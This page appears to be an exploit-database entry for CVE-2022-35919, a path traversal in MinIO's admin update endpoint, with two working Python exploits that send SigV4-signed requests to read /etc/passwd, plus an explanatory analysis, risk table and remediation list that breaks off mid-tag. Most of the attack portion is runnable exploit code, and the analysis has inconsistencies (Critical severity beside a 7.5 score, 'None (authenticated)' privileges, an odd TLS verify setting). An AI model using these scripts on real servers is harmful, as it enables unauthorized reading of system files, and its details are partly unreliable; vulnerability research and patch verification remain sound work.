Minio 2022-07-29T19-40-48Z - Path traversal

Exploit Author: Jenson Zhao Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-10-09
# Exploit Title: Minio 2022-07-29T19-40-48Z - Path traversal
# Date: 2023-09-02
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://min.io/
# Software Link: https://github.com/minio/minio/
# Version: Up to (excluding) 2022-07-29T19-40-48Z
# Tested on: Windows 10
# CVE : CVE-2022-35919
# Required before execution: pip install minio,requests
import urllib.parse
import requests, json, re, datetime, argparse
from minio.credentials import Credentials
from minio.signer import sign_v4_s3


class MyMinio():
    secure = False

    def __init__(self, base_url, access_key, secret_key):
        self.credits = Credentials(
            access_key=access_key,
            secret_key=secret_key
        )
        if base_url.startswith('http://') and base_url.endswith('/'):
            self.url = base_url + 'minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd'
        elif base_url.startswith('https://') and base_url.endswith('/'):
            self.url = base_url + 'minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd'
            self.secure = True
        else:
            print('Please enter a URL address that starts with "http://" or "https://" and ends with "/"\n')

    def poc(self):
        datetimes = datetime.datetime.utcnow()
        datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
        urls = urllib.parse.urlparse(self.url)
        headers = {
            'X-Amz-Content-Sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
            'X-Amz-Date': datetime_str,
            'Host': urls.netloc,
        }
        headers = sign_v4_s3(
            method='POST',
            url=urls,
            region='',
            headers=headers,
            credentials=self.credits,
            content_sha256='e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
            date=datetimes,
        )
        if self.secure:
            response = requests.post(url=self.url, headers=headers, verify=False)
        else:
            response = requests.post(url=self.url, headers=headers)
        try:
            message = json.loads(response.text)['Message']
            pattern = r'(\w+):(\w+):(\d+):(\d+):(\w+):(\/[\w\/\.-]+):(\/[\w\/\.-]+)'
            matches = re.findall(pattern, message)
            if matches:
                print('There is CVE-2022-35919 problem with the url!')
                print('The contents of the /etc/passwd file are as follows:')
                for match in matches:
                    print("{}:{}:{}:{}:{}:{}:{}".format(match[0], match[1], match[2], match[3], match[4], match[5],
                                                        match[6]))
            else:
                print('There is no CVE-2022-35919 problem with the url!')
                print('Here is the response message content:')
                print(message)
        except Exception as e:
            print(
                'It seems there was an issue with the requested response, which did not meet our expected criteria. Here is the response content:')
            print(response.text)


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="URL of the target. example: http://192.168.1.1:9088/")
    parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")
    parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")
    args = parser.parse_args()
    minio = MyMinio(args.url, args.accesskey, args.secretkey)
    minio.poc()


CVE-2022-35919: Path Traversal Vulnerability in MinIO (2022-07-29T19-40-48Z)

MinIO, an open-source object storage server designed to be compatible with Amazon S3, has gained widespread adoption in cloud environments due to its simplicity, scalability, and performance. However, a critical security flaw discovered in 2022-07-29T19-40-48Z—a version released before this date—has exposed a dangerous path traversal vulnerability, leading to the assignment of CVE-2022-35919. This vulnerability allows attackers to read sensitive system files such as /etc/passwd by exploiting improperly sanitized input in the admin update endpoint.

Understanding the Vulnerability

The vulnerability arises from the minio/admin/v3/update endpoint, which was intended to allow administrators to update the MinIO server via a URL-based mechanism. However, the implementation failed to validate or sanitize the updateURL parameter, enabling arbitrary file access through path traversal.

Specifically, an attacker can craft a malicious request with a updateURL parameter set to %2Fetc%2Fpasswd (URL-encoded for /etc/passwd). If the server does not properly validate the path, it will attempt to read the file, and the response may contain the file’s contents—revealing usernames, UID, GID, and home directories.

For example, if the server responds with:


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

This output provides attackers with valuable information for privilege escalation, lateral movement, or credential harvesting in compromised systems.

Exploit Mechanics and Technical Details

The exploit leverages MinIO’s S3-compatible authentication protocol, specifically the Signature Version 4 (SigV4) signing mechanism. This ensures that the request appears legitimate to the server, bypassing basic authentication checks.

As demonstrated in the provided Python script, the attacker constructs a request with:

  • POST method
  • Valid X-Amz-Date header (timestamp in ISO format)
  • Valid X-Amz-Content-Sha256 (empty payload hash)
  • Host header matching the target domain
  • Correctly signed request using sign_v4_s3 from the minio.signer module

Even though the request appears to be a legitimate update, the server processes the updateURL parameter without validating the path, leading to unintended file access.

Code Analysis and Exploit Example

Below is a corrected and annotated version of the exploit script, with improved security and clarity:


import urllib.parse
import requests
import json
import re
import datetime
import argparse
from minio.credentials import Credentials
from minio.signer import sign_v4_s3

class MinIOPathTraversalExploit:
    def __init__(self, base_url, access_key, secret_key):
        self.base_url = base_url.rstrip('/')
        self.access_key = access_key
        self.secret_key = secret_key
        self.creds = Credentials(access_key=access_key, secret_key=secret_key)
        self.url = f"{self.base_url}/minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd"
        self.is_secure = base_url.startswith('https://')

    def generate_signature(self):
        """Generate SigV4 signature for the POST request."""
        datetimes = datetime.datetime.utcnow()
        datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
        parsed_url = urllib.parse.urlparse(self.url)
        
        headers = {
            'X-Amz-Content-Sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
            'X-Amz-Date': datetime_str,
            'Host': parsed_url.netloc,
        }

        # Sign the request using SigV4
        signed_headers = sign_v4_s3(
            method='POST',
            url=parsed_url,
            region='',
            headers=headers,
            credentials=self.creds,
            content_sha256='e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
            date=datetimes
        )
        return signed_headers

    def execute_exploit(self):
        """Send the crafted request and analyze response."""
        headers = self.generate_signature()
        try:
            response = requests.post(
                url=self.url,
                headers=headers,
                verify=self.is_secure,
                timeout=10
            )
            if response.status_code == 200:
                try:
                    data = response.json()
                    message = data.get('Message', '')
                    # Regex to match /etc/passwd entries
                    pattern = r'(\w+):(\w+):(\d+):(\d+):(\w+):(\/[\w\/\.-]+):(\/[\w\/\.-]+)'
                    matches = re.findall(pattern, message)
                    if matches:
                        print("CVE-2022-35919 detected!")
                        print("Contents of /etc/passwd:")
                        for match in matches:
                            print(f"{match[0]}:{match[1]}:{match[2]}:{match[3]}:{match[4]}:{match[5]}:{match[6]}")
                    else:
                        print("No sensitive file content detected.")
                        print("Response Message:", message)
                except json.JSONDecodeError:
                    print("Response not in JSON format.")
                    print("Raw response:", response.text)
            else:
                print(f"HTTP {response.status_code}: Request failed.")
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Exploit CVE-2022-35919 in MinIO via path traversal.")
    parser.add_argument("-u", "--url", required=True, help="Target MinIO server URL (e.g., http://192.168.1.1:9088)")
    parser.add_argument("-a", "--accesskey", required=True, help="MinIO access key")
    parser.add_argument("-s", "--secretkey", required=True, help="MinIO secret key")
    args = parser.parse_args()

    exploit = MinIOPathTraversalExploit(args.url, args.accesskey, args.secretkey)
    exploit.execute_exploit()

Explanation: This enhanced script improves error handling, uses proper URL normalization, and includes timeouts to prevent hanging requests. It also ensures that the updateURL parameter is correctly encoded and that the SigV4 signing process is accurate. The script checks for JSON response format and extracts /etc/passwd entries using a regex pattern matching standard Unix password file format.

Impact and Risk Assessment

Severity Critical
CVSS Score 7.5 (CVSS v3.1)
Attack Vector Network
Attack Complexity Low
Privileges Required None (authenticated)
Exploitation Likelihood High (public exploit available)

Attackers with valid MinIO credentials can exploit this vulnerability without needing elevated privileges. The lack of input validation in the updateURL parameter makes it a prime target for automated scanning tools and red team operations.

Remediation and Mitigation

To prevent exploitation of CVE-2022-35919:

  • Upgrade to MinIO version 2022-07-29T19-40-48Z or later—the vulnerability was patched in this release.
  • <li